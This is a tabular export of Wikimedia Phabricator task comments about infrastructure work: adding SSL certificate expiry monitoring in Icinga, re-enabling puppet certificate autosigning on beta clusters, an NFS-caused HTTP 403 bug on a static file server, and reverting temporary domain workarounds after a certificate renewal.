+https://etherpad.wikimedia.org/p/T114059",,,1445372893,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+549268,ssl expiry tracking in icinga - we don't monitor that many domains,"and let's also have meta monitoring. icinga itself should have a working cert :)
+
+added:
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neon&service=HTTPS
+
+SSL OK - Certificate icinga.wikimedia.org valid until 2016-01-08 03:00:46 +0000 (expires in 79 days)",,,1445369326,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+549178,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244614 merged by Dzahn:
+icinga: add cert expiry check for icinga itself
+
+[[https://gerrit.wikimedia.org/r/244614]]",,,1445364298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+549006,ssl expiry tracking in icinga - we don't monitor that many domains,"https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=silver&service=HTTPS
+
+SSL OK - Certificate wikitech.wikimedia.org valid until 2016-01-25 04:44:13 +0000 (expires in 96 days)
+",,,1445352123,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+548975,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244610 merged by Faidon Liambotis:
+wikitech: add SSL cert expiry monitoring
+
+[[https://gerrit.wikimedia.org/r/244610]]",,,1445349629,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+548748,ssl expiry tracking in icinga - we don't monitor that many domains,"check for gerrit cert added:
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=ytterbium&service=HTTPS
+
+""SSL OK - Certificate gerrit.wikimedia.org valid until 2018-05-25 21:30:06 +0000 (expires in 948 days)""",,,1445301253,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+548747,ssl expiry tracking in icinga - we don't monitor that many domains,"check forgerrit cert added:
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=ytterbium&service=HTTPS
+
+""SSL OK - Certificate gerrit.wikimedia.org valid until 2018-05-25 21:30:06 +0000 (expires in 948 days)""",,,1445301213,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+548729,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244618 merged by Dzahn:
+gerrit: add cert expiry check
+
+[[https://gerrit.wikimedia.org/r/244618]]",,,1445299346,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+543868,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244618 had a related patch set uploaded (by Dzahn):
+gerrit: add cert expiry check
+
+[[https://gerrit.wikimedia.org/r/244618]]
+",,,1444345854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+543867,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244617 had a related patch set uploaded (by Dzahn):
+dumps: add cert expiry check
+
+[[https://gerrit.wikimedia.org/r/244617]]
+",,,1444345726,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+543865,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244614 had a related patch set uploaded (by Dzahn):
+icinga: add ssl cert expiry for icinga itself
+
+[[https://gerrit.wikimedia.org/r/244614]]
+",,,1444345547,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+543862,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244610 had a related patch set uploaded (by Dzahn):
+wikitech: add SSL cert expiry monitoring
+
+[[https://gerrit.wikimedia.org/r/244610]]
+",,,1444345251,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+543857,ssl expiry tracking in icinga - we don't monitor that many domains,"The following are covered already:
+
+- lists
+- otrs
+
+because they use the `check_ssl_http` check_command which is defined in `modules/nagios_common/files/check_commands/check_ssl.cfg`  and set to warn at 60 and go CRIT at 30 days before expiry, it uses `check_ssl`, written by Faidon, which has a `sub ssl_expiry_check`.
+
+i'm going to upload a change or more to add checks for other services using the same method, in a monitoring::service in the role class.",,,1444344782,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+543855,ssl expiry tracking in icinga - we don't monitor that many domains,"The following are covered already:
+
+- lists
+- otrs",,,1444344473,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+112537,deployment-logstash2 puppet certificate,"```krenair@deployment-logstash2:~$ sudo puppet agent -tv
+Exiting; no certificate found and waitforcert is disabled```
+```root@deployment-puppetmaster:~# find /var/lib/puppet/server/ssl/ca -name deployment-logstash*
+/var/lib/puppet/server/ssl/ca/requests/deployment-logstash2.eqiad.wmflabs.pem
+/var/lib/puppet/server/ssl/ca/signed/deployment-logstash2.deployment-prep.eqiad.wmflabs.pem
+root@deployment-puppetmaster:~# ```
+I imagine @bd808 knows something about this.",High,80.0,1442244259,1442398643.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_description,resolved,True,c3,3,True,False,True,10,True,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1
+528330,deployment-logstash2 puppet certificate,puppet masters self sign again.,,,1442398643,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+527547,deployment-logstash2 puppet certificate,"Change 238221 merged by Andrew Bogott:
+Turn puppet autosign back on beta/integration
+
+[[https://gerrit.wikimedia.org/r/238221]]",,,1442322332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+527420,deployment-logstash2 puppet certificate,">>! In T112537#1638684, @gerritbot wrote:
+> Change 238221 had a related patch set uploaded (by Hashar):
+> Turn puppet autosign back on beta/integration
+> 
+> [[https://gerrit.wikimedia.org/r/238221]]
+
+I have cherry picked it on the beta cluster and integration puppet master:
+```
+lang=diff
+--- /etc/puppet/puppet.conf.d/10-self.conf
++++ /tmp/puppet-file20150915-19007-1a3eak0
+-autosign = false
++autosign = true
+```
+
+And `/etc/puppet/puppet.conf` has been adjusted.",,,1442304315,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+526948,deployment-logstash2 puppet certificate,"Change 238221 had a related patch set uploaded (by Hashar):
+Turn puppet autosign back on beta/integration
+
+[[https://gerrit.wikimedia.org/r/238221]]
+",,,1442258424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+526947,deployment-logstash2 puppet certificate,"So we used to have some lame cron job to brute sign certificates every minutes.
+
+That has been replaced by puppet signing itself instead:
+
+    modules/puppet/manifests/self/config.pp:    $autosign             = hiera('puppetmaster::autosigner', false),
+
+And we have no crontab
+
+     root@deployment-puppetmaster:/etc/puppet# grep autos puppet.conf
+autosign = false
+
+puppetmaster::auto signer fault to false.  Looks like somebody forgot to announce the change on the labs list / wherever.
+
+
+
+We need to set the hiera bit for both integration and deployment-prep projects.",,,1442258256,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+526945,deployment-logstash2 puppet certificate,">>! In T112537#1638661, @thcipriani wrote:
+> Seems like deployment-puppetmaster didn't autosign this certificate. Should be fixed now.
+
+It's not just that. There was already a signed certificate with the new full domain style (project name between instance name and DC), the requested one was for the old style.",,,1442258153,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+526944,deployment-logstash2 puppet certificate,Seems like deployment-puppetmaster didn't autosign this certificate. Should be fixed now.,,,1442257995,,PHID-USER-5ewyncd6mpezaymyxfal,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+112388,Static server returns HTTP 403 Forbidden for valid files in some cases,"The static server often returns HTTP 403 Forbidden for files recently updated from Git. This seems to be an NFS issue based on discussion with valhallasw in #wikimedia-labs.
+
+**Known facts:**
+* This happens even if I break the symlink from `~/www/static` to the git repository before updating.
+* This happens very reliably, but only for modified files. (Updating the repository doesn't break files that didn't change.)
+* The 403 seems to be cached on the server; after renaming the file, the new name works fine but the old name keeps returning 403 (even though it's not there anymore).
+* This seems to last for quite a while (5+ hours) until it starts the serving the file.
+* Remounting the NFS share on the static server solves the problem temporarily (including preventing further occurrences), but it eventually started happening again.
+
+When I renamed an affected file (so both names below should return 'no such file'), valhallasw noticed this behaviour from the static server accessing the NFS share:
+    valhallasw@tools-web-static-01:/data/project/meta/www/static/scripts/edge$ cat pathoschild.regexeditor.css
+    cat: pathoschild.regexeditor.css: Permission denied
+    valhallasw@tools-web-static-01:/data/project/meta/www/static/scripts/edge$ cat pathoschild.regexeditor.csss
+    cat: pathoschild.regexeditor.csss: No such file or directory
+
+**Repro steps:**
+# Become a Tool Labs project.
+# Clone [a git repository containing CSS/JS files](https://github.com/Pathoschild/Wikimedia-contrib) to `~/git/<repo>`.
+# Symlink `~/www/static/<repo>` to `~/git/<repo>`.
+# View one of the files via `tools-static.wmflabs.org/<project name>/<repo>/<filename>` (you should get HTTP 200 OK).
+# Perform an upstream change to one of the files.
+# Update the git repo (`git pull`).
+# View the same file via tools-static.wmflabs.org (you should get HTTP 403 Forbidden).",High,80.0,1442072113,1583857753.0,PHID-USER-s2qdnwktshsvjwhpuhee,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-pdofner3cra2xvirkxns,task_description,resolved,True,c3,3,False,False,False,10,True,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+1460834,Static server returns HTTP 403 Forbidden for valid files in some cases,Feel free to reopen if this issue appears again.,,,1583857753,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,True,,,244,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+1450849,Static server returns HTTP 403 Forbidden for valid files in some cases,"I don't change scripts on Toolforge much anymore, but I don't see any recent reports/comments about the issue so it's probably safe to close this.",,,1582661490,,PHID-USER-s2qdnwktshsvjwhpuhee,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,False,,,242,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+1450846,Static server returns HTTP 403 Forbidden for valid files in some cases,Don't bother testing until after {T224582} and https://gerrit.wikimedia.org/r/c/operations/puppet/+/571821,,,1582661394,,PHID-USER-etxrnkbidavgyjmq6odr,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,False,,,242,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+1450707,Static server returns HTTP 403 Forbidden for valid files in some cases,This requires reproduction this year.  It could be fixed.  It might not be.,,,1582652908,,PHID-USER-etxrnkbidavgyjmq6odr,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,False,,,242,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+540864,Static server returns HTTP 403 Forbidden for valid files in some cases,"@Coren: Assuming this is the attribute cache issue of T106170, we would need to reboot the servers `tools-web-static-01` and `tools-web-static-02` to resolve this?",,,1443978261,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,True,,,13,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0
+112381,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"The cert renewal is already in-progress, pending on GlobalSign.  Original hack was for phab.wikivoyage.org, but now it's been switched to phab.wikidata.org.
+
+The commits from the initial wikivoyage hack:
+
+https://gerrit.wikimedia.org/r/237913
+https://gerrit.wikimedia.org/r/237914
+https://gerrit.wikimedia.org/r/237912
+
+Commits from the switch to wikidata:
+https://gerrit.wikimedia.org/r/#/c/237920/
+https://gerrit.wikimedia.org/r/#/c/237919/
+
+After switching back phab itself on iridium, the phabricator.wikimedia.org hostname needs purging in the misc_web cache cluster.",High,80.0,1442069448,1442254313.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5jze2h4izvnplxdtkizb,task_description,resolved,True,c3,3,True,True,True,10,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+526886,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"The ECDSA re-issue was much quicker than expected (must be automated now for simple cases), so the last bit is reverted back to normal now.",,,1442254313,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+526876,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Everything's reverted back to a normal state on the new cert now, with the exception of:
+
+https://gerrit.wikimedia.org/r/#/c/238195/ (RSA-only)
+
+which is pending the ""reissue"" of the new cert as ECDSA to switch back to dual-cert.",,,1442253820,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+526871,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238199 merged by BBlack:
+Revert ""add phab.wikidata.org temporarily T112381""
+
+[[https://gerrit.wikimedia.org/r/238199]]",,,1442253291,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+526870,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"The reason we avoided wikimedia.org is the same reason this domain exists at all: it's a known security problem if phab loads user-defined content from wikimedia.org, right?  Otherwise I assume we'd never have created this domain and just used e.g. phab-static.wikimedia.org to begin with.
+
+I just put the renewed cert into place.",,,1442253208,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+526867,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238199 had a related patch set uploaded (by BBlack):
+Revert ""add phab.wikidata.org temporarily T112381""
+
+[[https://gerrit.wikimedia.org/r/238199]]
+",,,1442252996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+526866,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238196 merged by BBlack:
+Revert ""switch phab altdom to phab.wikidata.org T112381""
+
+[[https://gerrit.wikimedia.org/r/238196]]",,,1442252722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+526865,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238196 had a related patch set uploaded (by BBlack):
+Revert ""switch phab altdom to phab.wikidata.org T112381""
+
+[[https://gerrit.wikimedia.org/r/238196]]
